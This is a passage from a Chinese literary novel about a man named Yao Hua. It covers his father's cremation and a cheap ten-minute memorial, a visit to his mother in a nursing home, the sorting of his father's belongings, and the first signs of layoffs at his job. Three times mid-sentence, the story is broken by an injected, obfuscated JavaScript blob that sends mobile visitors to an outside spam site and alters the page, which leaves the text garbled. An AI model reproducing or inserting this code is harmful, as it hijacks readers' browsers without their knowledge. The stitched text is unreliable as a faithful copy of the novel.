姚华抱着盒子，走到寄存大厅。大厅像巨型文件柜，密密麻麻的格子从地排到天。工作人员手一指最底下那一层：“那儿，最角上，空一个。” 他蹲下，把盒子塞进去。格子大小正好，严丝合缝。关上小铁门，落锁，钥匙递给他。 “拿好，取的时候凭这个。” 姚华把钥匙塞进钱包最里层，和几张破旧的银行卡挤在一起。 走出殡仪馆，天已擦黑。他站在门口等最后一班公交。 等车的工夫，他又想起父亲吐在地上那条“河”。弯弯曲曲，像幅地图。父亲最后爬了多远？从桌子到床，顶多三米。 三米，一张地图。从生，爬到了死。 车来了。他上车，投币。车上空荡荡，他又坐到最后排。 车启动时，他回头望了一眼殡仪馆。院子里的白灯亮了，灯光冰冷，把松树的影子拉得老长，投在地上，张牙舞爪。 他转回头，看前面。 路灯一盏盏亮起来，排着队，伸到看不见的黑里头。 就像日子，一关接过一关，关关难过。 但现在，少了一关。 少了一个要操心的人，少了一个要接的电话，少了一个请假的由头。 本该觉得轻省。 可他只觉得心里漏了个洞，风呼呼地往里灌。 空得就像怀里刚抱过的那个木盒子——看着是个物件，里头装的，不过是一捧温乎过的灰。 夜风从车窗灌进来，带点凉意。 姚华闭上眼。 他想，父亲最后为啥是那个表情？ 兴许是因为，终于不用再跟自己较劲了。 不用喝酒壮胆，不用醒后悔恨，不用被儿子冷眼，不用挨哥哥数落。 终于，妥帖了。 车晃悠着往前开。司机开着收音机，里头咿咿呀呀唱：“人生如梦，梦里梦外……” 姚华睁开眼，窗外是流动的夜色。 梦该醒了。 可醒了，还不是在另一场梦里。 一场接一场，没个剧终。 他摸了摸钱包里那把钥匙，冰凉，硌手。 这就是父亲留下的最后一样东西。 一把钥匙，开一个三寸见方的铁门，里面是一个木盒，木盒里装着一把灰。 别的，啥也没有。 没有存款，没有遗言，没有疼爱，连那点疙疙瘩瘩的恨，也随着最后那口气，噗，散了。 车到站了。他下车，往租的屋子走。 路灯把他影子拉得细长，扭扭曲曲投在地上。 像那条干了的水渍。 23. 第二十三章 十分钟告别 姚华本没打算办追思会。人都烧成灰了，还追个什么劲？好比饭都吃完了，才敲着空碗说开席，这叫哪门子讲究。可二伯姚建军不答应。电话里，二伯的语气像宣读红头文件：“华子，这程序得走。再怎么说，他是你爹，是我兄弟。悄没声息地走了，盐坨村的人咋议论？知道的说是他自己喝没的，不知道的，还以为咱们姚家没人了，连个场面都撑不起来。” 姚华在电话这头没吭声。二伯又说：“我都考察过了，最经济的厅，十分钟，三百块。我出一半。来的人，估摸也就咱这几家亲戚，加上他那几个酒友，凑不满一屋子。走个过场，算是给活人一个交代。”话说到这份上，姚华明白了——人活着的时候，面子是包袱；人死了，面子倒成了刚需。 八月十五，周二。姚华又向戴经理请假。戴经理在电话里“嘶”了一声，那气息穿过听筒，带了点肉眼可见的为难：“姚华啊，不是我说你，你这个月……”姚华截住话头：“经理，就半天，送我爸最后一程。”“程”字用得文绉绉，他自己听着都陌生。戴经理那边顿了顿，吐出两个字：“节哀。” 来的人果然稀拉，十一个，把“思亲厅”那十平米塞得像个沙丁鱼罐头。厅是按分钟租的，十分钟三百，超时每分钟加二十，比长途电话费还金贵。二伯早早到了，穿着那身唯一的中山装，洗得发白，但熨得能刮胡子。手里捏着张从练习簿撕下的纸，边缘毛毛糙糙的，那就是悼词。 三个老酒友也来了，老孙头打头，另外两个姚华只觉面熟，叫不上名。他们坐在最后一排，身上还带着隔夜的酒气，跟厅里那股廉价的香薰味打架。 厅小，空调倒足，冷风呼呼地吹，吹得人后脖颈发凉。背景音乐是电子合成的调子，循环播放，像超市快关门时放的“欢送曲”。正前方台子上，搁着那个最便宜的木头骨灰盒，系了条皱巴巴的黑绸带，算是给寒酸打了点阴影。盒子后头是照片，姚建国六十岁那年在小照相馆拍的，花了五块钱。照片上的他努力想笑，结果只调动了嘴角的肌肉，眼睛还是空的，望着镜头，像望着债主。 二伯走到前面，清了清嗓子，纸在手里微微地抖。“各位亲友，”他开口，声音干得像晒了三天的馒头，“今天我们在这里，送别姚建国同志。” “同志”这词蹦出来，姚华差点没接住。父亲这辈子，跟谁“同志”过？下岗后，同志变成了“同醉”，工友变成了“酒友”。 二伯照着纸念：“姚建国同志，生于1954年3月，卒于2017年8月……”他凑近纸，眯起眼，“卒于……哦，9号。”日期倒是记得准。姚华想，发现是12号，法医说大概走了三天，于是死亡证明上就落在了9号或10号。一个模糊的生命，连离开的时间都成了个约数。 “姚建国同志一生勤劳朴实……”二伯念到这里，后排有个酒友低声接了句：“朴实是真，一块钱能掰成八瓣花。勤劳嘛……酒瓶子倒是没少勤劳地空。”声音不大，但在安静的厅里像颗小石子，激起了点微澜。三姨回头剜了一眼。 二伯喉结滚了滚，假装没听见，加快了语速：“……为人忠厚，待人诚恳。”老孙头在底下点点头，自言自语：“这点不假，欠我三块五毛酒钱，上个月还真还了。” “他热爱生活，热爱家庭……”二伯念这句时，声音明显虚了下去，像自己都不太信。空调风呼呼地吹，把这句空洞的褒奖吹得七零八落。 终于到了尾声：“……他的离去，是我们大家的损失。愿他在天之灵安息。”“安息”两个字吐得飞快，仿佛怕被逝者听见，提出不同意见。 “默哀一分钟。”二伯宣布。 大家低下头。姚华也低着，但他眼睛睁着，看米黄色的地砖。砖上有裂纹，缝里藏着陈年的灰。墙角，一只小蜘蛛正奋力爬向高处，急慌慌的，像在赶另一场仪式。 一分钟到。“瞻仰遗容。”二伯说。 其实无容可瞻，只有盒子和照片。但人们还是排着队，鱼贯上前，对着木头盒子和那张表情尴尬的照片，欠欠身，鞠个躬，流程走得一丝不苟。 三姨走过来，往姚华手里塞了个薄薄的白信封：“华子，别太难过。”姚华捏了捏，大概两张。老姨的稍厚，估计五张。二伯妈递过来一个红信封——一时找不到白的：“华子，以后有啥难处，吱声。”红的，装着白的，倒也喜庆。 老孙头过来，没给钱，只用力捏了捏姚华的胳膊：“你爸这走法……痛快。没拖累人，也没受罪。算是他的造化。”姚华想，窒息而死，算痛快么？话在嘴里转了个圈，又咽回去了，只点了点头。 快九分钟的时候，门被轻轻推开一条缝。一个穿着深蓝色制服套裙的年轻女人侧身进来，背对着众人，先对门外小声说了句：“王科，三号厅马上好，下一场可以准备了。”然后才转过身，脸上挂着训练过的、淡得像兑水牛奶似的微笑。她胸前别着工牌：万芮君。 姚华起初没留意，直到她走到台边调整了一下骨灰盒的角度，侧脸被厅里惨白的灯光一打，姚华怔了一下——这女工作人员，竟有几分像那个唱歌跳舞的蔡依林。不是像电视里光彩夺目的那个，是像褪了色、被按进这套刻板制服里的一个副本。头发规规矩矩盘着，但额头鬓角细微的绒毛和那过于精巧的五官，还是透露出与周遭格格不入的某种残余的“星味”。 万芮君显然习惯了这种短暂的注视，她没看姚华，而是低头检查了一下盒子上黑绸子系得是否周正，指尖动作麻利。然后她抬眼，目光掠过姚华，公式化地低声说：“先生，还有一分钟。请注意时间。”声音有点黏，带着点本地口音修饰过的普通话，和她的长相颇不配套。 姚华不知怎么，下意识缩了缩肩膀，好像她的目光有重量。“嗯，好。”他应道，声音比自己预想的还要干瘪。 万芮君并没有立刻离开，她似乎完成了检查，就静静地站在台侧阴影里，等着掐点。但等待的这几十秒，她也没闲着，左手垂在身侧，右手食指的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119430|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指甲，无意识地、轻轻地抠着左手虎口处一块几乎看不见的小皮。目光放空，望着对面墙上一块水渍留下的印子，可能在想下班后的事，也可能什么都没想。她周身有一种体制内久坐岗位养出来的、略带倦怠的安稳气，与这个廉价告别厅的凄惶，与姚华口袋里那把地下室钥匙的寒碜，隔着一层看不见的、厚厚的玻璃。 姚华忽然意识到，自己和这个女人，虽然此刻同在十平米的“思亲厅”里，却仿佛活在完全不同的计量单位中。他的人生是按分钟计价、捉襟见肘的“负一千六百二十五”；而她，是捧着铁饭碗、计算着工龄和公积金、或许偶尔会烦恼周末相亲对象不够帅的另一种人生。连悲伤，在这里都被她管理得如此井井有条，准时准点。 就在这时，万芮君似乎感到手背有点痒，抬起右手，极快地、不动声色地用手背蹭了一下鼻尖。那个小动作，突然让她从“殡仪馆工作人员”的壳里溜出来一瞬，透出点年轻的、属于她这个年纪的活气。但也只是一瞬。她很快放下手，恢复成等待的姿势，瞥了一眼腕上那块小巧的、应该是名牌的白色手表。 “时间到了。”她低声说，这次是对着二伯的方向，也是对着所有人宣布。声音不大，但像一把小剪子，咔嚓一声，剪断了本就稀薄的哀思。她率先转身，拉开了门，走廊更亮的光涌进来，勾勒出她合体的制服裙摆和一丝不苟的发髻轮廓。她没有再看姚华一眼，仿佛他和他父亲的这场十分钟告别，与她经手过的无数个十分钟一样，只是今日工作表上即将被勾掉的一项普通待办事项。 二伯赶紧提高嗓门：“最后，家属致谢！” 姚华站起来，走到前面。他看着下面这十一张脸，像看一幅众生小相。有的悲伤是真的，但底色是松了口气；有的悲伤是演的，眼角却干着；有的压根无所谓，眼神飘向门外，惦记着下一件事。 “谢谢各位能来。”他开口，声音平得像晒干的河床，“我爸这一生……就到这儿了。谢谢。” 就两句。底下的人支着耳朵，等他多说点追思、感恩、怀念之类的词。但他没有了。他点点头，坐了回去。 工作人员适时推门进来：“时间到了，请各位离场，下一场预约的家属已经到了。” 人们起身，塑料椅子发出噼里啪啦的声响。表弟媳妇经过时，小声问：“哥，这骨灰……往后放哪儿？” “寄存。” “不埋了？入土为安呐。” “买不起土。”姚华说。 表弟媳妇“哦”了一声，那眼神里滑过的不是同情，而是一种暗自的衡量与庆幸。 二伯默默跟着姚华。路上，二伯忽然问：“华子，我刚那悼词……没念错日子吧？是9号吧？” “不重要了。”姚华说。 “也是。”二伯掏出烟，自己点上，又递给姚华一支，“就是个意思。” 烟点燃了，两个红点在昏暗的走廊里一明一灭，像这场追思会最后两个沉默的标点。 24. 第二十四章 扑克牌不说话 姚华挑了个星期四去养老院。周四好，清净。周末那探视的架势，跟澡堂子下饺子似的，扑腾扑腾全是人。他坐公交，拎个塑料袋，里头是苹果——这周超市特价，三块五一斤，姚华心里拨过算盘，合算。 福寿康宁养老院那栋楼，墙皮粉的，脏了一块，像小孩流口水没擦干净。门卫老头在打盹，脑袋一点一点，像鸡啄米，也像点头同意什么事。 三楼静，静得能听见李姨的戏腔从门缝里挤出来。唱的是《大登殿》，词却改得接地气： “人生七十古来稀，我今八十不算奇。三餐有人送嘴边，翻身还得等人提……” 调是老调，词是现编的。姚华听了两句，走到母亲房门口。 门没关严，他推开。张玉芬背对门坐着，面前小桌摊一副扑克。左手洗牌，动作笨，牌老往下掉。掉了就捡，捡起来还洗。这洗牌跟干革命似的，失败了就重来。 “妈。” 张玉芬转过脸。气色比上月强，脸上有点活气儿了。看见姚华，扯开嘴角笑——还是半边脸能动，但看着顺眼了些。 “来了。” 姚华把苹果搁床头柜，拉椅子坐下。看着母亲洗牌。牌旧，边角起毛，背面花纹磨得泛白，像人老了手上的斑。 “哪儿来的牌？” “李姨给的。”张玉芬说，“她说解闷。” 牌又掉了，这回掉地上。姚华弯腰拾起来递过去。她接住，接着洗，慢吞吞的，像电影里那种慢镜头，一帧一帧地磨。 屋里静。窗外槐树叶子黄了，秋天到了。有片叶子飘进来，落在窗台上，躺得规规矩矩。 姚华盯着那片叶子，看了好一会儿。开口： “妈，跟您说个事。” “嗯。” “我爸……没了。” 张玉芬手停了。牌捏在手里，一张红桃K，一张黑桃Q。她盯着那两张牌，足足十秒没动，像在辨认牌上的人是不是自己认识的。 然后接着洗。牌一张压一张，慢得很，但没停。 “什么时候的事？”声音平，平得像桌面。 “上周二发现的，死应该更早几天。” “怎么死的？” “喝酒，吐了，呛着了。” 张玉芬点点头，继续洗牌。牌沙沙响，像风吹一堆枯叶子，也像在算什么旧账。 屋里又静下来。只剩洗牌声，沙，沙，沙。 五分钟。 姚华看着母亲。她低着头，眼盯牌，脸上没表情。只是洗牌动作更慢了，慢得像要停住，但偏偏没停。 窗台上又落了片叶子，跟刚才那片做伴。 终于，张玉芬开口：“也好。” 姚华等着。他知道母亲说话像熬粥，得慢慢来。 “他算解脱了。”张玉芬说，还是不抬头，“不用喝酒了，不用遭罪了，不用……拖累人了。” 她说得慢，一个字一个字往外挤，像在掂量每个字该值几分钱。 牌洗好了，她开始理。一张张对齐，在桌上磕整齐。然后抽出一张——是大王牌，小丑脸笑得咧到耳根，没心没肺的。 她用左手捏着那张牌，拇指摩挲小丑的笑脸。一下，一下，轻轻的，像在擦什么宝贝。 “后事办了吗？”她问。 “办了，最简单的。” “花多少钱？” “三千八。” “哦。”张玉芬说，“不便宜。” “骨灰寄存了，一年两百。” “嗯。” 她还在摩挲那张大王。小丑脸被摩挲得发亮，油光光的，像涂了层猪油。 “你……”张玉芬抬起头，看姚华，“你没事吧？” “没事。” “别硬撑。” “没硬撑。” 张玉芬又低头看牌。她把大王插回牌堆，重新洗。这回快了些，牌在手里翻飞，虽然笨拙，倒有了点节奏，像生锈的机器又转了。 “你爸这辈子……”她开口，又停住。牌洗好了，她开始发，给自己发，给空椅子发，发了四份，一人一份，公平。 “他这辈子，”她接着说，眼瞅着牌，“就想当个明白人。可活到死，也没明白。” 姚华没吭声。看着母亲发牌，四份，整整齐齐，跟分家产似的。 “年轻时想当技术工人，没当成，不明白为什么。”张玉芬拿起自己那份牌，一张张看，像在看命，“下岗了，不明白为什么。你妈我卖书卖考试卷子，他喝酒，不明白为什么。最后死了，估计也不明白为什么。” 她把牌放下：“其实哪有那么多为什么。活着，就是活着。死了，就是死了。像这牌，抓到手是好是坏，都得打。” 她说得淡，淡得像说隔壁老王家的事，淡得像白开水。 姚华忽然想起多年前，父母吵架。父亲摔东西，母亲不说话，就看着他摔。摔完了，母亲扫地，把碎片扫起来倒垃圾桶。全程没话，像在看别人家吵架。 现在也是。丈夫死了，她不哭不闹，就洗牌。 兴许眼泪早流干了，流成了护城河。兴许恨早耗尽了，耗成了煤渣。兴许，真像她说的——解脱了，解脱了也好。 “妈，”姚华说，“您……不难过？” 张玉芬抬起头，看他。看了好久，然后笑了——那个半边脸的、怪怪的笑，像半张脸在哭。 “难过？”她说，“难过给谁看？给你看？给李姨看？还是给墙看？” 她指指墙：“墙不会说话。不会说话的东西最实在，不骗人。” 姚华顺着她手指看去。墙上白白净净，啥也没有，但好像又啥都有。 “华子，”张玉芬又说，“你记住。人这一辈子，哭啊笑啊，都是给别人看的。自己心里那点事，自己知道就行。说出来，没人懂，懂了也没用。” 她把牌收起来，重新洗。“就像这牌，”她说，“你看着我在玩，其实我在算账。算我还能活几年，算你要花多少钱，算这养老院我还能住多久。” 牌在她手里翻飞。“但这些，我不说。说了，你也解决不了。何必呢？就像你爸，一辈子想弄明白的事，到死没明白——可明白了又能咋的？” 姚华喉咙发紧。他想说“我能解决”，但话到嘴边卡住了。因为真解决不了。养老院一个月三千四，他工资五千二，房贷两千四。剩两千八，不够三千四。差六百。每月差六百。 这六百，得从牙缝里省，从加班费里凑，从借呗里借，像凑一副顺子，总少一张。 但他没说。就像母亲说的，说了，也解决不了。解决不了的事不说，这是他们老姚家的家训。 “妈，”他最后说，“我会想办法。” “想什么办法？”张玉芬笑了，“抢银行啊？就你这胆儿？” “不是……” “行了。”张玉芬摆摆手，“你好好上班，别老请假。请假扣钱，我知道。钱比人实在，钱不说话，但管用。” 她又开始洗牌。洗了一遍又一遍，不厌其烦，像在洗人生的牌。 姚华坐了一会儿，起身：“我去洗苹果。” “去吧。” 他拿苹果去水房。水房有个老太太在洗手，洗得慢，水哗哗流，流的是钱。姚华等她洗完，才过去洗苹果——省水，也是省钱。 苹果红彤彤，表面打了蜡，滑溜溜，像抹了油。他一个一个洗，洗得仔细，像在给苹果洗澡。 洗完了，回去。张玉芬还在洗牌。他削皮，切块，插上牙签。牙签一根根，像小旗子。 “吃苹果。” “嗯。” 张玉芬吃了一块，慢慢嚼。“甜。” “嗯。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119431|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比你爸买的甜。”她说，“你爸买的苹果，都是处理的，有疤的。他说疤是糖心，其实是抠。” 姚华没接话。他知道父亲买的都是最便宜的，有疤的，烂一点的。因为便宜。便宜就是道理，其他都是瞎扯。 两人一个吃苹果，一个洗牌。屋里静，只有咀嚼声和洗牌声，两种声音搅在一起，竟有点和谐。 窗外天暗了。姚华看表，四点五十。 “我得走了，妈。” “走吧。”张玉芬说，“路上慢点。慢点不费油，省油就是省钱。” 姚华站起来，走到门口，回头看了一眼。母亲还坐在轮椅上，左手拿着扑克牌，一张一张地看。阳光斜照进来，照在她身上，照在那些扑克牌上。 牌面反光，亮晶晶的，像眼泪，但没掉下来。 他关上门，轻轻带上。 走出养老院，天还没黑透。他在门口站了一会儿，点了支烟。烟是便宜的，呛，但解乏。 烟抽到一半，护工小刘出来了。小刘三十多岁，干活麻利，说话直，直得像擀面杖。 “姚哥，你妈今天……”她欲言又止，话在嘴里转了个弯。 “怎么了？” “也没什么。”小刘说，“就是晚上……她对着墙说话。” 姚华一愣：“说什么？” “听不清。”小刘说，“就是嘀嘀咕咕的，说了半夜。我进去看，她就停了。我问她跟谁说话，她说跟墙。” 小刘顿了顿：“但那个语气……不像自言自语。像在吵架。” “吵架？” “嗯。”小刘点头，“声音不大，但很凶。像在骂人，骂得还挺花哨。” 姚华想起母亲下午说的话：“墙不会说话。” 原来她在跟墙说话。或者说，在跟墙那边的人说话。墙那边是谁？父亲？还是过去的自己？还是没还清的账？ 不知道。知道了也没用。 “姚哥，”小刘又说，“你妈其实……挺苦的。但她不说，就憋着。憋久了，就容易这样，跟墙吵，跟牌吵，跟空气吵。” “我知道。” “你多来看看她。” “嗯。” 小刘走了。姚华把烟抽完，烟蒂扔垃圾桶。扔得准，一下进去了，像中了彩。 天全黑了。路灯亮起来，一盏一盏，延伸到远方，像另一副摊开的牌。 他想起母亲洗牌的样子，想起她摩挲大王的样子，想起她说“他算解脱了”的样子。 然后想起小刘说的：“像在吵架。” 是啊，怎么可能不吵呢？吵了一辈子，吵成了习惯，吵成了日子。怎么可能因为人死了，就不吵了？死是死，吵是吵，两码事。 那些没吵完的架，没说完的话，没算清的账，都还在。 在墙上，在扑克牌上，在夜里对着墙的嘀咕里。在苹果的疤上，在洗牌的声音里，在省下的六百块钱里。 永远在。在才是生活，不在是童话。 他走向公交车站。影子拖在身后，很长，很长，像另一副扑克牌，摊在地上，等着谁来洗。 但没人来洗。洗牌的人自己还在牌里。 只能自己洗，一张一张，一遍一遍。 洗到牌磨破了，洗到手指磨破了，洗到再也洗不动为止。 然后呢？ 然后下一副牌。牌局不散，洗牌的人换了一茬又一茬。他们家这副牌啊，从老爷子那辈就抓得不好，到姚华这儿，还是那手烂牌。可烂牌也得打不是？王炸没有，对子也少，单张倒是一大把。那就一张一张出吧，出到哪儿算哪儿，出完拉倒。 反正扑克牌不说话。 它只看着你洗，看着你打，看着你输，看着你赢——虽然赢的时候少。 但它从不说话。 不说话的东西最实在，也最伤人。 25. 第二十五章 遗产博览会 整理遗物这事儿，姚华拖了俩礼拜。先是公司忙，戴经理接了新项目，整个部门跟着点灯熬油。接着养老院那头又传信儿，说母亲感冒了，发烧，他医院跑了三趟。 真动手收拾，是九月第三个星期六。早晨飘了点雨星子，空气潮得能捏出水。姚华坐公交去盐坨村，车上人稀，司机开得野，颠得他肠子都快搅到一块儿。 老屋还是老样儿，门虚掩着——上次丧事办完就没锁。推门进去，那股味儿淡了点，可还赖着不走。霉味儿，灰味儿，掺着一丝游魂似的酒气，在屋里打着旋儿。 他在门口杵了三分钟。屋里摆设照旧：床，桌子，椅子，炉子。父亲人没了，东西却都在，像是主人只是出门打酒，随时会撩帘子进来。 开始吧。 先从桌子下手。桌面上堆着杂货：几个空药瓶，半包返潮的烟，一个搪瓷缸子，茶垢糊得比盔甲还厚。姚华一股脑扫进垃圾袋，动作麻利得像宾馆服务员清房。 抽屉有三个。第一个里头是工具：一把锈钳子，半卷黑胶布，几颗钉子。父亲这辈子唯一称得上“手艺”的，就是修修补补，可修什么都修不好。暖气修了照漏，椅子修了照晃，连自己那摊人生也修得七零八落。 第二个抽屉装纸张。各种单据，电费水费条子，最老那张能追到2005年。还有几张奖状，是姚华小学得的，“三好学生”“优秀少先队员”。父亲竟留着，拿塑料袋套好，压得平平展展。 拉开第三个抽屉，姚华愣住了。 是挂历。一本摞一本，码得齐整。他数了数，十四本。最早那本是1998年，封面上香港回归的紫荆花金灿灿的；最晚到2011年，印着个衣裳单薄的美人，笑得像个假人。 每本都翻在十二月那页。有的日子画了圈，有的旁边缀了字。1999年12月31日，圈旁边写：“新世纪”。2008年8月8日，圈旁边写：“奥运”。2010年12月31日，圈旁边写：“又一年”。 全是父亲的笔迹，歪歪扭扭，小学生似的。 姚华一屁股坐地上，一页页翻。挂历纸黄了脆了，得小心着捻，生怕一使劲就碎成末儿。每翻一页，就是一个月份，三十天，父亲又老去一个月。 翻到2005年7月。15号那天画了个圈，没写字。姚华想了半晌，记起那是母亲头一回脑出血的日子。父亲画了圈，却没写“妻病”，也没写“住院”。就一个空圈，像句说了一半咽回去的话。 他把挂历放回抽屉，没扔。扔了，那些圈就没了，那些日子也就真过去了。 桌子底下有个绿铁皮盒子，漆掉了一半。打开，里头是粮票。全国通用的，河北省的，天津市的。面额有一斤、半斤，还有二两的。粮票旧得边儿都起毛了，有些还黏在一块。 姚华想起小时候，母亲拿粮票换鸡蛋。五斤粮票换十个蛋，她舍不得全换，只换五个，煮熟了全塞给他，自己啃咸菜疙瘩。 如今粮票没用了，像父亲的人生，过了期。 盒子底层还有东西。是饭票，包子铺的。七张，淡黄色，印着包子图案。饭票更糟，一碰就掉渣。姚华捏起一张对着光，还能瞧见里头的水印。 父亲在包子铺干了一辈子——如果三天打鱼两天晒网也算一辈子的话。末了下岗，买断工龄，拿了两万块钱。两万块，喝了，输了，不知去向。 饭票还在，包子却吃不上了。 他把铁盒搁回桌底。继续翻。 床底下有个柳条箱，条子都黑了。拽出来，一开，樟脑丸的味儿冲鼻子。里头是衣裳，冬棉夏单，叠得方正正——是母亲的手笔，父亲没这耐心。 衣裳底下有个布包袱。解开，是一本书，选集第四卷。书挺厚，红皮金字。姚华翻开，纸页黄了，却干干净净，没落灰。 书里夹着一张照片。 黑白照，三寸大小。边角是锯齿状的，老式照相馆的剪法。照片上一男一女，并肩站着。男的穿中山装，扣子扣到顶，领子有点歪；女的碎花衬衫，两条辫子，辫梢扎着橡皮筋。 是父母。结婚照。 姚华从没见过这照片。他凑近了瞅。父亲那时真年轻，顶多二十五六？脸上没褶子，头发密实。母亲也年轻，眼睛大，嘴角微微翘着，像在笑，又像绷着。 两人站得笔直，肩膀挨着，却没真靠上。中间一道缝，细，但看得见。表情也僵，像被人拿枪顶着后腰硬按在那儿拍的。 照片背面有字，钢笔写的，褪色了还能辨出：“1979年10月1日，结婚留念。” 1979年。姚华算了算，那年父亲二十五，母亲二十三。他还没出生。他们刚结婚，刚分到银行里那间房，刚觉得日子有奔头。 然后呢？ 然后就是四十年。四十年吵，四十年忍，四十年一个灌酒一个卖书，四十年最后一个人死老屋一个人住养老院。 四十年，就为了照片上这一瞬间。 姚华把照片夹回书里，塞回柳条箱。他坐地上，背靠床沿，点了支烟。 烟抽到半截，他瞧见床腿边还有个物件儿。是个紫檀色小木盒，精致得跟这破屋格格不入。 打开，是块表。 银箭牌电子表，白表盘，罗马数字。表盘裂了，从当间劈到边儿，像道闪电。指针停在四点十七分。秒针定在十二点。 表挺沉，握手里冰凉。姚华翻过来看，背面刻着字：“奖给姚建国同志。1981年。” 1981年。父亲二十七。还在包子铺，还没那么贪杯，还能得个奖。 这表，兴许是父亲这辈子唯一的荣光。然后呢？然后表停了，裂了，扔床底下跟垃圾做伴。 姚华试着上弦。表冠紧，拧不动。他使了劲，终于转开了，一圈，两圈，三圈。 松手。 秒针动了。挣扎着，跳了一下。就一下，然后定住。永远停在十二点。 他又拧，拧了二十圈。再松。 秒针又跳一下。还是一下。 他拧，松，拧，松。重复了十来回。每回秒针都只蹦一下，像人临死前最后一口气。 最后他放弃了。把表收回木盒，盖好盖子。 这就是父亲留下的全部家当： 十四本过期挂历，记着他数过的日子。 一铁盒过期粮票，记着他挨过的饿。 七张过期饭票，记着他混过的日子。 一张黑白结婚照，记着他败了的婚姻。 一块停了的表，记着他唯一的光彩时刻。 没有钱，没有房，没有金银细软。只有这些破烂，这些废物，这些“过了期”的玩意儿。 姚华站起来，腿麻了，踉跄一下。他环顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119432|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一屋子东西，忽然想笑。 笑父亲，笑自己，笑这扯淡的人生。 父亲攒了一辈子，攒下这些。他呢？他攒了什么？攒了一叠房贷单，一叠借呗账单，一叠养老院缴费单。 都一样。都是“遗产”。都是蹬腿之后，别人看了直摇头的东西。 他开始收拾。该扔的扔垃圾袋，该留的装箱子。挂历留下了，粮票留下了，饭票留下了，照片留下了，表留下了。 扔了，就真什么都不剩了。 至少这些能证明，父亲活过。虽然活得憋屈，但总归活过。 收拾停当，天已擦黑。他拎着两个垃圾袋，抱一个纸箱，迈出屋门。 关门时，他回头瞥了一眼。屋里空了，床空了，桌子空了，抽屉空了。像从来没人住过。 可那股味儿还在。霉味儿，灰味儿，酒味儿。 那是父亲的味儿。人死了，味儿还赖着。 他走到村口，把垃圾袋扔进桶里。纸箱抱在胸前，等公交。 车来了，他上去。车上人少，他坐最后一排，纸箱搁旁边座上。 车开了。窗外盐坨村慢慢往后挪，变小，最后消失在夜色里。 就像父亲，慢慢退远，变小，最后消失在记忆里。 但纸箱在。那些挂历，那些粮票，那些饭票，那张照片，那块表。 都在。 证明他来这世上一遭。 证明他喘过气。 证明他，是个人。 虽然是个失败的人。 可谁不是呢？ 姚华望着窗外，城市灯火唰唰掠过。 他想起那块表，停在四点十七分。 四点十七分，是什么时辰？早上？下午？还是某个要紧的时刻？ 不知道。 永远不知道了。 就像父亲的人生，永远停在了某个点儿上。那点儿之后，全是下坡路。 一路往下出溜，溜到底，死在老屋里，三天没人发觉。 车到站了。他抱纸箱下车，往家走。 路灯把他影子拽得老长，长得像那些挂历，一本接一本，没个尽头。 到家，他把纸箱搁墙角。没打开，就那么放着。 然后洗澡，睡觉。 躺在床上，他想起父亲最后那副表情。安详的，像终于解脱了。 也许真是解脱。 不用再喝酒了，不用再懊悔了，不用再被生活碾来碾去了。 而他呢？ 他还得接着来。接着还房贷，接着交养老院的钱，接着上班，接着喘气。 直到有天，他也留下一个纸箱。 里头装什么？ 兴许是一沓房贷还款单，一沓借呗账单，一沓养老院缴费单。 还有一块表——要是他买得起的话。 指针会停在几点？ 不知道。 但愿不是四点十七分。 但愿是……随便吧。 反正早晚都得停。 他翻个身，闭上眼。 窗外城市还在转，车流，灯光，人声。 像块巨大的表，永远在走，永远不停。 而他只是里头一颗小齿轮，转啊转，直到磨秃了齿，直到停摆。 然后被换掉。 没人记得。 26. 第二十六章 默剧散场 2019年12月20日，星期五，冬至前一天。天气预报说有雪，但一整天都是阴天，灰蒙蒙的，像没洗干净的脸。 裁员的消息是周一就传出来的。公司群里有人发了张照片，韩国总部来了三个人，穿黑西装，打深色领带，在会议室跟中国区高管开会。照片拍得模糊，但能看见桌上一沓文件，白花花的。 “要裁了。”老陈在茶水间抽烟，烟灰掉进咖啡杯里，“听说至少三分之一。” 姚华没接话。他端着杯子接热水，热水器咕嘟咕嘟响，像在叹气。 周三，名单出来了。不是正式通知，是人事部小张“不小心”发错群的文件。文件名是“年终优化名单”，打开看，一长串名字，按部门排。姚华在技术部那栏找到了自己，名字后面跟着数字：38。三十八岁，工龄十二年，赔偿金按N+1算。 他看着那个数字，看了很久。三十八，跟年龄一样。十二年，够一个孩子从小学到高中毕业。 周四，戴经理找他谈话。办公室的百叶窗拉上了，光线被切成一条一条的，像监狱栏杆。 “姚华，坐。”戴经理指指椅子。他自己没坐办公椅，拉了把普通的椅子，跟姚华面对面。这个细节让姚华觉得有点可笑——装什么平等。 “公司的情况你也知道，”戴经理开口，声音很平，“韩国那边业务收缩，中国区要优化结构。” 